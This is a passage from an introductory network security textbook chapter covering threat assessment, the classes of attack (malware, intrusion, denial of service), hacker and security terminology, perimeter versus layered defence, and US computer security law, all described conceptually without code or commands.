
alteration. Later in this book, during the discussion of encryption and virtual private networks, you will learn how to secure this data. Data can also be attacked at rest, when stored on a computer.

- **The network connection points:** Whether it is the routers or the firewall, any place where one computer connects to another is a place that can be attacked, and one that must be defended. When looking at a system's security, you should first look at the connectivity points.
- **The people:** People always pose a security risk. Either through ignorance, malicious intent, or simple error, people on a system can compromise the system's security.

As you proceed through this book, don't lose sight of the basic purpose, which is to secure networks and the data they store and transmit.

ASSESSING LIKELY THREATS TO THE NETWORK

Before you can explore the topic of computer security, you must first formulate a realistic assessment of the threats to those systems. The key word is *realistic*. Clearly one can imagine some very elaborate and highly technical potential dangers. However, as a network security professional, you must focus your attention—and resources—on the likely dangers. Before delving into specific threats, let's get an idea of how likely attacks, of any type, are on your system.

In this regard, there seem to be two extreme attitudes toward computer security. The first viewpoint holds that little real danger or threat exists to computer systems and that much of the negative news is simply a reflection of unwarranted panic. People of this attitude often think that taking only minimal security precautions should ensure the safety of their systems. Unfortunately, some people in decision-making positions hold this point of view. The prevailing sentiment of these individuals is, "If our computer/organization has not been attacked so far, we must be secure."

This viewpoint often leads to a reactive approach to computer security, meaning that people will wait until after an incident to decide to address security issues.

Waiting to address security until an attack occurs might be too late. In the best of circumstances, the incident might have only a minor impact on the organization and serve as a much-needed wake-up call. In less fortunate cases, an organization might face serious, possibly catastrophic consequences. For example, some organizations did not have an effective network security system in place when the WannaCry virus attacked their systems. In fact, WannaCry would have been completely avoided, if systems had been patched. Avoiding this *laissez faire* approach to security is imperative.

Any organization that embraces this extreme—and erroneous—philosophy is likely to invest little time or resources in computer security. They might have a basic firewall and antivirus software, but most likely expend little effort ensuring that they are properly configured or routinely updated.

The second viewpoint is that every teenager with a laptop is a highly skilled hacker who can traverse your systems at will and bring your network to its knees. Think of hacking skill like military experience. Finding someone who was in the military is not too hard, but encountering a person who was in Delta Force or Seal Team 6 is rare. Although military experience is fairly common, high levels of special operations skills are not. The same is true with hacking skills. Finding individuals

who know a few hacking tricks is easy. Finding truly skilled hackers is far less common.

In Practice

In the Real World

Whenever I am asked to perform some consulting or training task, I get to see a number of diverse network environments. From this experience, I have developed the opinion that a disturbingly large segment of the business world takes a very lax approach to computer security. Following are a few examples of behavior that indicate (to me) a lax view toward security:

- Companies that do not have any type of intrusion-detection system (IDS, covered in Chapter 5, “Intrusion-Detection Systems”)
- Companies that have inadequate antivirus/anti-spyware (covered in Chapter 10, “Defending Against Trojan Horses, Spyware, and Adware”)
- Companies that have unsecured backup media (see the discussion in Chapter 11, “Security Policies”)
- Companies with no plan for implementing patches (discussed in Chapter 8, “Operating

System Hardening”)

These are just a few examples of organizations that are not addressing network security in an appropriate manner.

At the other end of the spectrum, some executives overestimate security threats. They assume that very talented hackers exist in great numbers and that all of them are an imminent threat to their system. They might believe that virtually any teenager with a laptop can traverse highly secure systems at will. This viewpoint has, unfortunately, been fostered by a number of movies that depict computer hacking in a somewhat glamorous light. Such a worldview makes excellent movie plots, but is simply unrealistic. The reality is that many people who call themselves hackers are less knowledgeable than they think. Systems protected by even moderate security precautions have a low probability of being compromised by a hacker of this skill level.

This does not mean that skillful hackers do not exist. They most certainly do. However, people with the skill to compromise relatively secure systems must use rather time-consuming and tedious techniques to breach system security. These hackers must also weigh the costs and benefits of any hacking mission. Skilled

hackers tend to target systems that have a high benefit, either financially or ideologically. If a system is not perceived as having sufficient benefit, a skilled hacker is less likely to expend the resources to compromise it. Burglars are one good analogy: Certainly, highly skilled burglars exist; however, they typically seek high-value targets. The thief who targets small businesses and homes usually has limited skills. The same is true of hackers.

FYI: Skilled Versus Unskilled Hackers

Skilled hackers usually target only highly attractive sites. Attractive sites offer valuable information or publicity. Military computers—even simple web servers with no classified information—offer a great deal of publicity. Banks, on the other hand, generally have very valuable information. Novice hackers usually start with a low value and, consequently, often less secure system. Low value systems might not have any data of substantial value or offer much publicity. A college web server would be a good example. Although novice hackers' skills are not as well developed, their numbers are greater. Also, monetary gains are not the only factor that might make a system attractive to a skilled hacker. If a hacker objects to an organization's ideological stance

(for example, if an organization sells large sport utility vehicles that the hacker feels is poor environmental policy), then she might target its system.

Both extreme attitudes regarding the dangers to computer systems are inaccurate. It is certainly true that people exist who have both the comprehension of computer systems and the skills to compromise the security of many, if not most, systems. However, it is also true that many who call themselves hackers are not as skilled as they claim. They have ascertained a few buzzwords from the Internet and are convinced of their own digital supremacy, but they are not able to effect any real compromises to even a moderately secure system.

You might think that erring on the side of caution, or extreme diligence, would be the appropriate approach. In reality, you do not need to take either extreme view. You should take a realistic view of security and formulate practical strategies for defense. Every organization and IT department has finite resources: You only have so much time and money. If you squander part of those resources guarding against unrealistic threats, then you might not have adequate resources left for more practical projects. Therefore, a realistic approach to network security is the only

practical approach.

You might be wondering why some people overestimate dangers to their networks. The answer, in part at least, lies with the nature of the hacking community and with the media. Media outlets have a tendency to sensationalize. You don't get good ratings by downplaying danger; you get them by emphasizing, and perhaps outright exaggerating. Also, the Internet is replete with people claiming significant skill as hackers. As with any field of human endeavor, the majority is merely average. The truly talented hacker is no more common than the truly talented concert pianist. Consider how many people take piano lessons at some point in their lives, and then consider how many of those ever truly become virtuosos.

The same is true of computer hackers. Keep in mind that even those who do possess the requisite skill also need the motivation to expend the time and effort necessary to compromise your system. Keep this fact in mind when considering any claims of cyber prowess you might encounter.

The claim that many people who describe themselves as hackers lack real skill is not based on any study or survey. A reliable study on this topic would be impossible because hackers are unlikely to identify themselves and submit to skills tests. I came to this

conclusion based on two considerations:

- The first is simply years of experience traversing hacker discussion groups, chat rooms, and bulletin boards. In more than two decades of work in this field, I have encountered talented and highly skilled hackers, yet I encounter far more who claim to be hackers but clearly demonstrate a lack of sufficient skill. I have also been a frequent speaker at hacking conferences, including DEF CON, and have published in hacking magazines such as *2600*. I have had the opportunity to interact extensively with the hacking community.
- The second is that it is a fact of human nature that the vast majority of people in any field are, by definition, mediocre. Consider the millions of people who work out at a gym on a regular basis, and consider how few ever become competitive body builders. In any field, most participants will be mediocre. That is not meant as a derogatory statement, it is just a fact of life.

This statement is also not meant to minimize the dangers of hacking. That is not my intent at all. Even an unskilled novice attempting to intrude on a system will get in, in the absence of appropriate security precautions. Even if the would-be hacker does not successfully breach security, he can still be quite a

nuisance. Additionally, some forms of attack don't require much skill at all. We discuss these later in this book.

A more balanced view (and therefore, a better way to assess the threat level to any system) is to weigh the attractiveness of a system to potential intruders against the security measures in place. As you shall see, the greatest threat to any system is not actually hackers. Viruses and other attacks are far more prevalent. Threat assessment is a complex task with multiple facets.

CLASSIFICATIONS OF THREATS

Your network certainly faces real security threats, and these threats can manifest themselves in a variety of forms. There are a variety of ways one might choose to classify the various threats to your system. You could choose to classify them by the damage caused, the level of skill required to execute the attack, or perhaps even by the motivation behind the attack. For our purposes we categorize attacks by what they actually do. Based on that philosophy most attacks can be categorized as one of three broad classes:

- Intrusion
- Blocking

■ Malware

Figure 1-6 shows the three categories. The intrusion category includes attacks meant to breach security and gain unauthorized access to a system. This group of attacks includes any attempt to gain unauthorized access to a system. This is generally what hackers do. The second category of attack, blocking, includes attacks designed to prevent legitimate access to a system. Blocking attacks are often called denial of service attacks (or simply DoS). In these types of attacks the purpose is not to actually get into your system but simply to block legitimate users from gaining access.




FIGURE 1-6 Types of attacks

FYI: What About Other Attacks?

Chapter 2 covers attacks such as buffer overflows that can be used for more than one category. For example, a buffer overflow can be used to shut down a machine, thus making it a blocking attack, or it can be used to breach system security, making it an intrusion attack. However, once it's implemented, it will be in one category or the other.

The third category of threats is the installation of malware on a system. Malware is a generic term for software that has a malicious purpose. It includes virus attacks, Trojan horses, and spyware. Because this category of attack is perhaps the most prevalent danger to systems, we examine it first.

Malware

Malware is probably the most common threat to any system, including home users' systems, small networks, and large enterprise wide-area networks. One reason is that malware is often designed to spread on its own, without the creator of the malware having to be directly involved. This makes this sort of attack much easier to spread across the Internet, and hence more widespread.

The most obvious example of malware is the computer virus. You probably have a general idea of what a virus

is. If you consult different textbooks you will probably see the definition of a virus worded slightly differently. One definition for a virus is “a program that can ‘infect’ other programs by modifying them to include a possibly evolved copy of itself.” That is a very good definition, and one you will see throughout this book. A computer virus is analogous to a biological virus in that both replicate and spread. The most common method for spreading a virus is using the victim’s e-mail account to spread the virus to everyone in his address book. Some viruses do not actually harm the system itself, but all of them cause network slowdowns or shutdowns due to the heavy network traffic caused by the virus replication.

In Practice

Real Viruses

The original MyDoom worm is discussed in detail in Chapters 2 and 9. MyDoom.BB virus is a variation on MyDoom that began to spread early in 2005. This particular worm appears on your hard drive as either java.exe or services.exe. This is an important thing to learn about viruses. Many try to appear as legitimate system files, thus preventing you from deleting them. There have been many viruses since that time,

including well-known viruses such as Stuxnet, Flame, WannaCry, and many others.

This particular worm sends itself out to everyone in your address book, thus spreading quite rapidly. This worm attempts to download a backdoor program giving the attacker access to your system.

From a technological point of view, this worm was most interesting for how it extracts e-mail addresses. It should be noted that the worm uses a much improved algorithm for e-mail address recognition. Now it can catch such e-mail addresses as

- chuck@nospam.domain.com
- chuck-at-domain-dot-com

These addresses are translated by the worm to the usable format. Many other e-mail extraction engines are foiled by these sorts of e-mail address permutations (which is why they are used).

Another type of malware, often closely related to the virus, is the Trojan horse. The term is borrowed from the ancient tale. In this tale, the city of Troy was besieged for a long period of time, but the attackers could not gain entrance. They constructed a huge wooden horse and left it one night in front of the gates to Troy one night. The next morning, the residents of

Troy saw the horse and assumed it to be a gift, consequently rolling the wooden horse into the city. Unbeknownst to them, several soldiers were hidden inside the horse. That evening, the soldiers left the horse, opened the city gates, and let their fellow attackers into the city. An electronic Trojan horse works in the same manner, appearing to be benign software but secretly downloading a virus or some other type of malware onto your computer from within. In short, you have an enticing gift that you install on your computer, and later find it has unleashed something quite different from what you expected. It is a fact that Trojan horses are more likely to be found in illicit software. There are many places on the Internet to get pirated copies of commercial software. Finding that such software is actually part of a Trojan horse is not at all uncommon.

Trojan horses and viruses are the two most widely encountered forms of malware. A third category of malware is spyware, which is increasing in frequency at a dramatic pace. Spyware is software that literally spies on what you do on your computer. This can be as simple as a cookie—a text file that your browser creates and stores on your hard drive. Cookies are downloaded onto your machine by websites you visit. This text file is then used to recognize you when you return to the same site. That file can enable you to access pages more quickly and save you from having to enter your information

multiple times on pages you visit frequently. However, in order to do this, that file must be read by the website; this means it can also be read by other websites. Any data that the file saves can be retrieved by any website, so your entire Internet browsing history can be tracked.

Another form of spyware, called a key logger, records all of your keystrokes. Some also take periodic screen shots of your computer. Data is then either stored for retrieval later by the party who installed the key logger or is sent immediately back via e-mail. In either case, every single thing you do on your computer is recorded for the interested party.

FYI: Key Loggers

Although we defined a key logger as software, note that hardware-based key loggers do indeed exist. Hardware-based key loggers are much less common than software-based key loggers. The reason for this is that software key loggers are easier to place on a targeted machine. Hardware key loggers require you to physically go to the machine and install hardware. If the key logger is being installed without the computer user's knowledge, then installing a physical device can be quite difficult. A software key logger can be installed via a Trojan horse with the perpetrator not even being in the same city as the target computer.

Compromising System Security—Intrusions

One could make the argument that any sort of attack is aimed at compromising security. However, intrusions are those attacks that are actually trying to intrude into the system. They are different from attacks that simply deny users access to the system (blocking), or attacks that are not focused on a particular target such as viruses and worms (malware). Intrusion attacks are designed to gain access to a specific targeted system and are commonly referred to as hacking, although that is not the term hackers themselves use. Hackers call this type of attack *cracking*, which means intruding onto a system without permission, usually with malevolent intent. Any attack designed to breach security, either via some operating system flaw or any other means, can be classified as cracking. As you progress through this book you will encounter a few specific methods for intruding on a system. In many cases, if not most, the idea is to exploit some software flaw to gain access to the target system.

Using security flaws is not the only method for intruding into a system. In fact, some methods can be technologically much easier to execute. For example,

one completely not technologically based method for breaching a system's security is called *social engineering*, which, as the name implies, relies more on human nature than technology. This was the type of attack that the famous hacker Kevin Mitnick most often used. Social engineering uses standard con artist techniques to get users to offer up the information needed to gain access to a target system. The way this method works is rather simple. The perpetrator obtains preliminary information about a target organization, such as the name of its system administrator, and leverages it to gain additional information from the system's users. For example, he might call someone in accounting and claim to be one of the company's technical support personnel. The intruder could use the system administrator's name to validate that claim. He could then ask various questions to learn additional details about the system's specifications. A savvy intruder might even get a person to provide a username and password. As you can see, this method is based on how well the intruder can manipulate people and actually has little to do with computer skills.

Social engineering and exploiting software flaws are not the only means of executing an intrusion attack. The growing popularity of wireless networks gives rise to new kinds of attacks. The most obvious and dangerous activity is *war-driving*. This type of attack is an offshoot

of war-*dialing*. With war-dialing, a hacker sets up a computer to call phone numbers in sequence until another computer answers to try and gain entry to its system. War-driving, using much the same concept, is applied to locating vulnerable wireless networks. In this scenario, a hacker simply drives around trying to locate wireless networks. Many people forget that their wireless network signal often extends as much as 100 feet (thus, past walls). At DEF CON 2003, the annual hackers' convention, contestants participated in a war-driving contest in which they drove around the city trying to locate as many vulnerable wireless networks as they could.

Denial of Service

The third category of attacks is blocking attacks, an example of which is the denial of service attack (DoS). In this attack, the attacker does not actually access the system, but rather simply blocks access to the system from legitimate users. In the words of the CERT (Computer Emergency Response Team) Coordination Center (the first computer security incident response team), “A ‘denial-of-service’ attack is characterized by an explicit attempt by attackers to prevent legitimate users of a service from using that service.” One often-used blocking method is flooding the targeted system with so many false connection requests that it cannot respond to legitimate requests. DoS is an extremely common attack method, second only to malware.

LIKELY ATTACKS

We have been examining various possible threats to a network. Clearly, some threats are more likely to occur than others. What are the realistic dangers facing individuals and organizations? What are the most likely attacks, and what are common vulnerabilities? Understanding the basics of existing threats and the likelihood that they will cause problems for users and organizations is important.

FYI: Likelihood of Attacks

The likelihood of a particular attack depends on the type of organization the network serves. The data presented here is applicable to most network systems. Clearly, a number of factors (including how much publicity a system gets and the perceived value of the data on that system) influence the likelihood of an attack targeting a particular system. Always err on the side of caution when estimating the threats to your network.

The most likely threat to any computer or network is the computer virus. For example, in just the month of October 2017, McAfee listed 31 active viruses (<https://home.mcafee.com/virusinfo/virus-calendar>).

Each month, several new virus outbreaks are typically documented. New viruses are constantly being created, and old ones are still out there.

Note that many people do not update their antivirus software as often as they should. The evidence for this fact is that many of the viruses spreading around the Internet already have countermeasures released, but people are simply not applying them. Therefore, even when a virus is known and protection against it exists, it can continue to thrive because many people do not

update their protection or clean their systems regularly. If all computer systems and networks had regularly updated security patches and employed virus-scanning software, a great many virus outbreaks would be avoided altogether, or their effects would at least be minimized.

Blocking has become the most common form of attack besides viruses. As you will learn later in this book, blocking attacks are easier to perpetrate than intrusions and therefore occur more often. A resourceful hacker can find tools on the Internet to help her launch a blocking attack. You will learn more about blocking attacks, as well as malware, in Chapter 2.

Regardless of the nature of the computer crime, the fact is that cyber crimes are prevalent. A 2016 survey of computer crime found that 32% of organizations have been affected by cyber crime, with some experiencing losses in excess of \$5 million. Only 37% of respondents have a fully operational incident response plan.

In Practice

What Is “Misuse of Systems”?

Employers and employees often view misuse of a system differently. All systems at a workplace are the

property of the employer. Computers, hard drives, even e-mail are all the property of the employer. United States law has consistently maintained that employers have a right to monitor employees' web usage and even e-mail.

Most organizations have policies that strictly forbid use of computer equipment for any purpose other than work. The Internet connection is restricted to work-related use, not for reading the headlines on the web. Some companies do not mind if an employee uses the Internet for personal purposes during lunch. From a security perspective, administrators must be concerned about the websites employees visit. Are they downloading Flash animations? Are they downloading their own screen savers? Anything that is downloaded is a potential threat to a system. Even without downloading, the possibility exists that websites are tracking information about users and their computers. From a security perspective, the less information about your network someone outside the organization has, the better. Any piece of information is potentially useful to a hacker.

As you will learn in Chapter 4, "Firewall Practical Applications," many firewall solutions allow administrators to block certain websites, a feature many use. At a minimum, companies should have a

very clearly defined policy that describes exactly which activities are permissible and which are not. Any ambiguity in your policies can cause problems later. You can learn more about defining and implementing security policies in Chapter 11.

THREAT ASSESSMENT

When attempting to assess the threat level for an organization, administrators must consider a number of factors. The first has already been mentioned: The attractiveness of the system to hackers. Some systems attract hackers due to the systems' monetary value. The systems of financial institutions provide tempting targets for hackers. Other systems attract hackers because of the public profile of the organizations they support. Hackers are attracted to government systems and computer security websites simply because of their high profiles. If a hacker successfully gets into one of those systems, he will achieve fame and prestige in the hacker community. Academic institutions also receive a high frequency of hacking attempts. High schools and colleges have a large population of younger, computer-savvy students. The number of hackers and would-be hackers among such a group is likely to be higher than in the general populace. Additionally, academic institutions do not have a good reputation on information security.

The second risk factor is the nature of the information on the system. If the system has sensitive or critical information, then its security requirements are higher. Personal data such as Social Security numbers, credit card numbers, and medical records have a high security

requirement. Systems with sensitive research data or classified information have even higher security needs.

A final consideration is traffic to the system. The more people who have some sort of remote access to the system, the more security dangers exist. For example, a number of people access e-commerce systems from outside the network. Each of these connections represents a danger. If, on the other hand, a system is self-contained with no external connections, its security vulnerabilities are reduced.

Considering the attractiveness of the system to hackers, the nature of the information the system stores, and the number of remote connections to your system together allows administrators to provide a complete assessment of security needs.

The following numerical scale can provide a basic overview of a system's security requirements.

Three factors are considered (attractiveness, information content, and security devices present). Each of those factors is given a numeric designation between 1 and 10. The first two are added together, and then the third number is subtracted. The final score ranges from -8 (very low risk, high security) to 19 (very high risk, low security); the lower the number the less vulnerable the system, the higher the number the greater the risk.

The best rating is for a system that

- Receives a 1 in attractiveness to hackers (that is, a system that is virtually unknown, has no political or ideological significance, etc.).
- Receives a 1 in informational content (that is, a system that contains no confidential or sensitive data).
- Receives a 10 in security (that is, a system with an extensive layered, proactive security system complete with firewalls, ports blocked, antivirus software, IDS, antispysware, appropriate policies, all workstations and servers hardened, etc.).

Evaluating attractiveness is certainly quite subjective. However, evaluating the value of informational content or the level of security can be done with rather crude but simple metrics. This system will be reiterated and then further expanded in Chapter 12, “Assessing System Security.”

Obviously, this evaluation system is not an exact science and is contingent to some extent on a personal assessment of a system. This method does, however, provide a starting point for assessing a system’s security but is certainly not the final word in security metrics.

UNDERSTANDING SECURITY TERMINOLOGY

When studying the field of computer security, you must be cognizant of the fact that this discipline is an overlap of security professionals and amateur hackers. As such, the field combines terminology from both domains. This book's Glossary will be a useful reference tool throughout this course.

Hacking Terminology

Let's begin by examining hacker terminology. Note that this terminology is not precise, and that many definitions can be debated. No "official" hacker vocabulary exists. The terms evolve through their use by the hacker community. Clearly, beginning this examination by defining *hacker*, a term used in movies and news broadcasts, would be prudent. Most people use it to describe any person who breaks into a computer system. However, security professionals and hackers themselves use this term differently. In the hacking community a hacker is an expert on a particular system or systems who wants to learn more about the system. Hackers feel that looking at a system's flaws is the best way to learn about it.

For example, someone well-versed in the Linux

operating system who works to understand that system by learning its weaknesses and flaws would be a hacker. However, this does often mean seeing whether a flaw can be exploited to gain access to a system. This “exploiting” part of the process is where hackers differentiate themselves into three groups:

- **White hat hackers**, upon finding vulnerability in a system, will report the vulnerability to the vendor of that system. For example, if they were to discover some flaw in Red Hat Linux, they would then e-mail the Red Hat company (probably anonymously) and explain what the flaw is and how it was exploited.
- **Black hat hackers** are the people normally depicted in the media (e.g., movies and news). After they gain access to a system, their goal is to cause some type of harm. They might steal data, erase files, or deface websites. Black hat hackers are sometimes referred to as *crackers*.
- **Gray hat hackers** are typically law-abiding citizens, but in some cases will venture into illegal activities. They might do so for a wide variety of reasons. Commonly, gray hat hackers conduct illegal activities for reasons they feel are ethical, such as hacking into a system belonging to a corporation that the hacker feels is engaged in

unethical activities. Note that this term is not found in many textbooks, but is a commonly used term in the hacking community itself.

Regardless of how hackers view themselves, intruding on any system without permission is illegal. This means that, technically speaking, all hackers, regardless of the color of the metaphorical hat they wear, are in violation of the law. However, many people feel that white hat hackers actually perform a service by finding flaws and informing vendors before those flaws are exploited by less ethically inclined individuals.

The various shades of hackers are only the beginning of learning hacker terminology. Recall that a hacker is an expert in a given system. If so, what is the term for someone who calls herself a hacker but lacks expertise? The most common term for an inexperienced hacker is *script kiddy*. The name derives from the fact that the Internet is full of utilities and scripts that one can download to perform some hacking tasks. Someone who downloads these tools without really understanding the target system would be considered a script kiddy. A significant number of the people who call themselves hackers are, in reality, merely script kiddies.

This discussion brings us to some specific types of hackers. A cracker is someone whose goal is to

compromise a system's security for purposes other than to learn about the system. No difference exists between a black hat hacker and a cracker. Both terms refer to a person who breaks through a system's security and intrudes on that system without permission from the appropriate parties, with some malicious intent.

When and why would someone give permission to another party to hack/crack a system? The most common reason is to assess the system's vulnerabilities. This is yet another specialized type of hacker—the *ethical hacker* or *sneaker* (an older term, not often used these days), a person who legally hacks/cracks a system in order to assess security deficiencies. In 1992, Robert Redford, Dan Aykroyd, and Sydney Poitier starred in a movie about this very subject, named *Sneakers*. Consultants exist who perform work of this type, and you can even find firms that specialize in this activity as more and more companies solicit these services to assess their vulnerabilities. Today, these are usually called *penetration testers* (or simply *pen testers*). And the profession has matured since the first edition of this book.

A word of caution for readers either considering becoming or hiring a pen tester: Any person hired to assess the vulnerabilities of a system must be both technically proficient and morally sound. This means

that a criminal background check should be done before engaging his/her services. You certainly would not hire a convicted burglar as your night watchman. Neither should you consider hiring someone with any criminal background, especially in computer crimes, as a penetration tester/ethical hacker. Some people might argue that a convicted hacker/cracker has the best qualifications to assess your system's vulnerabilities. This is simply not the case, for several reasons:

- You can find legitimate security professionals who know and understand hacker skills but have never committed any crime. You can get the skills required to assess your system without using a consultant with a demonstrated lack of integrity.
- If you take the argument that hiring convicted hackers means hiring talented people to its logical conclusion, you could surmise that the person in question is not as good a hacker as he would like to think, because he was caught.
- Most importantly, giving a person with a criminal background access to your systems is comparable to hiring a person with multiple DWI convictions as your driver. In both cases you are inviting problems and, perhaps, assuming significant civil and criminal liabilities.

A thorough review of a penetration tester's qualifications is also recommended. Just as some people falsely claim to be highly skilled hackers, there are those who will falsely claim to be skilled pen testers. An unqualified pen tester might pronounce your system sound when in fact it was a lack of skill that prevented him from successfully breaching your security. Chapter 12 covers the basics of assessing a target system as well as the necessary qualifications of any consultant hired for this purpose.

Another specialized branch of hacking involves breaking into telephone systems. This sub-specialty of hacking is referred to as *phreaking*. The *New Hackers Dictionary* actually defines phreaking as “The action of using mischievous and mostly illegal ways in order to not pay for some sort of telecommunications bill, order, transfer, or other service” (Raymond, 2003). Phreaking requires a rather significant knowledge of telecommunications, and many phreakers have some professional experience working for a phone company or other telecommunications business. This type of activity is often dependent upon specific technology required to compromise phone systems more than simply knowing certain techniques. For example, certain devices are used to compromise phone systems. Phone systems are often dependent on frequencies. (If you have a touchtone phone, you will notice that, as you

press the keys, each has a different frequency.) Machines that record and duplicate certain frequencies are often essential to phone phreaking.

Security Terminology

Security professionals have specific terminology as well. Readers with any training or experience in network administration are probably already familiar with most of these terms. Although most hacking terminology describes either the activity or the person performing it (phreaking, sneaker, etc.), much of the security terminology you will learn in this book deals with devices and policies. This is quite logical because hacking is an offensive activity centered on attackers and attack methodologies, and security is a defensive activity concerned with defensive barriers and procedures.

The first and most basic security device is the *firewall*. A firewall is a barrier between a network and the outside world. Sometimes a firewall is a stand-alone server, sometimes a router, and sometimes software running on a machine. Whatever its physical form, the purpose is the same: to filter traffic entering and exiting a network. Firewalls are related to, and often used in conjunction with, a proxy server. A proxy server hides your internal network IP addresses and presents a single

IP address (its own) to the outside world.

Firewalls and proxy servers are added to networks to provide basic perimeter security. They filter incoming and outgoing network traffic but do not affect traffic on the network. Sometimes these devices are augmented by an intrusion-detection system (IDS). An IDS monitors traffic looking for suspicious activity that might indicate an attempted intrusion.

Access control is another important computer security term that will be of particular interest to you in several of the later chapters. Access control is the aggregate of all measures taken to limit access to resources. This includes logon procedures, encryption, and any method that is designed to prevent unauthorized personnel from accessing a resource. Authentication is clearly a subset of access controls, perhaps the most basic security activity. Authentication is simply the process of determining whether the credentials given by a user or another system, such as a username and password, are authorized to access the network resource in question. When a user logs in with a username and password, the system attempts to authenticate that username and password. If they are authenticated, the user will be granted access.

Non-repudiation is another term you encounter frequently in computer security. It is any technique that

is used to ensure that someone performing an action on a computer cannot falsely deny that they performed that action. Non-repudiation provides reliable records of what user took a particular action at a specific time. In short, it is methods to track what actions are taken by what user. Various system logs provide one method for non-repudiation. One of the most important security activities is auditing. Auditing is the process of reviewing logs, records, and procedures to determine whether they meet standards. This activity is discussed throughout this book and is the focus of Chapter 12. Auditing is essential to do because checking that systems have appropriate security in place is the only way to ensure system security.

Least privileges is a concept you should keep in mind when assigning privileges to any user or device. The concept is that you only assign the minimum privileges required for that person to do his job, no more. Keep this simple but critical concept in mind.

You should also keep in mind the *CIA triangle*, or Confidentiality, Integrity, and Availability. All security measures should affect one or more of these areas. For example, hard drive encryption and good passwords help protect confidentiality. Digital signatures help ensure integrity, and a good backup system, or network server redundancy, can support availability.

An entire book could be written on computer security terminology. These few terms you have been introduced to here are ubiquitous and being familiar with them is important. Some of the exercises at the end of this chapter will help you expand your knowledge of computer security terminology. You might also find these links helpful:

- <https://niccs.us-cert.gov/glossary> (National Initiative for Cybersecurity Careers and Studies *Glossary*)
- <https://www.sans.org/security-resources/glossary-of-terms/> (SANS Institute *Glossary of Security Terms*)
- <http://nvlpubs.nist.gov/nistpubs/ir/2013/NIST.IR.7298r2.pdf> (NIST *Glossary of Key Information Security Terms*)

FYI: Auditing and Penetration Testing

The process a penetration tester uses is really just a special type of audit. You might wonder what the difference is between penetration testing and auditing. The distinction between a normal audit and pen testing lies in the methodology. Audits usually involve checking compliance with regulations, laws,

and standards, whereas penetration tests actually attempt to breach the system in order to assess security. The traditional audit consists of reviewing logs, checking system settings, and ensuring that the security meets some arbitrary standard. Penetration testers simply try to break into the system. If they can, they then document how they did it, and how you can prevent someone else from doing the same.

CHOOSING A NETWORK SECURITY APPROACH

Organizations can choose from several approaches to network security. A particular approach, or paradigm, will influence all subsequent security decisions and set the tone for the entire organization's network security infrastructure. Network security paradigms can be classified by either the scope of security measures taken (perimeter, layered) or how proactive the system is.

Perimeter Security Approach

In a perimeter security approach, the bulk of security efforts are focused on the perimeter of the network. This focus might include firewalls, proxy servers, password policies, and any technology or procedure that makes unauthorized access of the network less likely. Little or no effort is made to secure the systems within the network. In this approach, the perimeter is secured, but the various systems within that perimeter are often vulnerable.

This perimeter approach is clearly flawed. So why do some companies use it? A small organization might use the perimeter approach if they have budget constraints or inexperienced network administrators. This method might be adequate for small organizations that do not store sensitive data, but it rarely works in a larger corporate setting.

Layered Security Approach

A layered security approach is one in which not only is the perimeter secured, but individual systems within the network are also secured. All servers, workstations, routers, and hubs within the network are secure. One way to accomplish this is to divide the network into segments and secure each segment as if it were a separate network so that, if perimeter security is compromised, not all internal systems are affected. Layered security is the preferred approach whenever possible.

You should also measure your security approach by how proactive and/or reactive it is. You do this by gauging how much of the system's security infrastructure and policies are dedicated to preventive measures as opposed to how much are devoted to simply responding to an attack after it has occurred.

A passive security approach takes few or no steps to prevent an attack. Conversely a dynamic security approach, or proactive defense, is one in which steps are taken to prevent attacks before they occur. One example of a proactive defense is the use of an IDS, which works to detect attempts to circumvent security measures. These systems can tell a system administrator that an attempt to breach security has been made, even if that attempt is not successful. An IDS can also be used to

detect various techniques intruders use to assess a target system, thus alerting a network administrator to the potential for an attempted breach before the attempt is even initiated.

Hybrid Security Approach

In the real world, network security is rarely completely in one paradigm or another. Networks generally fall along a continuum with elements of more than one security paradigm. The two categories also combine to form a hybrid approach. One can have a network that is predominantly passive but layered, or one that is primarily perimeter, but proactive. Considering approaches to computer security along a Cartesian coordinate system, with the x axis representing the level of passive-active approaches and the y axis depicting the range from perimeter to layered defense, can be helpful. The most desirable hybrid approach is a layered paradigm that is dynamic.

NETWORK SECURITY AND THE LAW

An increasing number of legal issues affect how administrators approach network security. If your organization is a publicly traded company, a government agency, or does business with either, there may be legal constraints to choosing your security approach. Legal constraints include any laws that affect how information is stored or accessed. Sarbanes-Oxley (discussed in more detail later in this section) is one example. Even if your network is not legally bound to these security guidelines, reviewing the various laws impacting computer security and perhaps deriving ideas that can apply to your own security standards is useful.

One of the oldest pieces of legislation in the United States affecting computer security is the Computer Security Act of 1987 (100th Congress, 1987). This act requires government agencies to identify sensitive systems, conduct computer security training, and develop computer security plans. This law is a vague mandate ordering federal agencies in the United States to establish security measures without specifying any standards.

This legislation established a legal mandate to enact specific standards, paving the way for future guidelines and regulations. It also helped define certain terms,

such as what information is indeed “sensitive,” according to the following quote found in the legislation itself:

Sensitive information is any information, the loss, misuse, or unauthorized access to or modification of which could adversely affect the national interest or the conduct of Federal programs, or the privacy to which individuals are entitled under section 552a of title 5, United States Code (the Privacy Act), but which has not been specifically authorized under criteria established by an Executive order or an Act of Congress to be kept secret in the interest of national defense or foreign policy.

Keep this definition in mind, for it is not just Social Security information or medical history that must be secured. When considering what information needs to be secure, simply ask the question: Would the unauthorized access or modification of this information adversely affect my organization? If the answer is “yes,” then you must consider that information “sensitive” and in need of security precautions.

Another more specific federal law that applies to mandated security for government systems is OMB Circular A-130 (specifically, Appendix III). This document requires that federal agencies establish

security programs containing specified elements. This document describes requirements for developing standards for computer systems and for records held by government agencies.

Most states have specific laws regarding computer security, such as legislation like the Computer Crimes Act of Florida, the Computer Crime Act of Alabama, and the Computer Crimes Act of Oklahoma. Any person responsible for network security might potentially be involved in a criminal investigation. This could be an investigation into a hacking incident or employee misuse of computer resources. Whatever the nature of the crime instigating the investigation, being aware of the computer crime laws in your state is invaluable. A list of computer crime laws by state is available at [http://www.irongeek.com/i.php?](http://www.irongeek.com/i.php?page=computerlaws/state-hacking-laws)

[page=computerlaws/state-hacking-laws](http://www.irongeek.com/i.php?page=computerlaws/state-hacking-laws). This government list is from the Advanced Laboratory Workstation (ALW), National Institutes for Health (NIH), and Center for Information Technology.

Keep in mind that any law that governs privacy (such as the Health Insurance Portability and Accountability Act [HIPAA], for medical records) also has a direct impact on computer security. If a system is compromised and data that is covered under any privacy statute is compromised, you might need to prove that you

exercised due diligence to protect that data. A finding that you did not take proper precautions can result in civil liability.

